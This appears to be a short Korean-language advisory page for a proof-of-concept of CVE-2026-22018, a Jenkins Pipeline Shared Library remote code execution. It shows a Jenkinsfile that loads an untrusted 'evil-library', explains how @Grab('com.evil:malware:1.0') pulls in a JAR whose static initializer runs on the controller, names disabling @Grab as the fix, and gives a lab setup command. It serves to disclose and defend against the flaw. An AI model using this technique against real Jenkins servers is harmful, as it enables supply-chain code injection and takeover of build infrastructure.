
CVE-2026-22018에 대한 PoC로, Groovy @Grab를 통한 치명적인 Jenkins Pipeline Shared Library RCE를 다루며 공급망 코드 주입과 완화 단계를 시연합니다.
@Grab을 통한 Jenkins Pipeline Shared Library 코드 실행// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
Jenkins 파이프라인은 완전히 신뢰되지 않는 소스에서 공유 라이브러리를 로드합니다. 이 라이브러리는 @Grab 어노테이션을 사용하여 외부 Maven 아티팩트를 다운로드하며, 여기에는 Groovy 컴파일 중 Jenkins 컨트롤러에서 코드를 실행하는 악성 클래스가 포함될 수 있습니다.
@Grab 어노테이션은 런타임에 임의의 JAR을 가져와 로드하며, 공유 라이브러리는 샌드박스 처리되지 않습니다.vars/evilStep.groovy에 @Grab('com.evil:malware:1.0')이 포함된 신뢰할 수 없는 라이브러리로 파이프라인을 구성합니다. 파이프라인이 실행되면 악성 JAR의 정적 초기화자가 실행됩니다.
@Grab을 비활성화하십시오.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.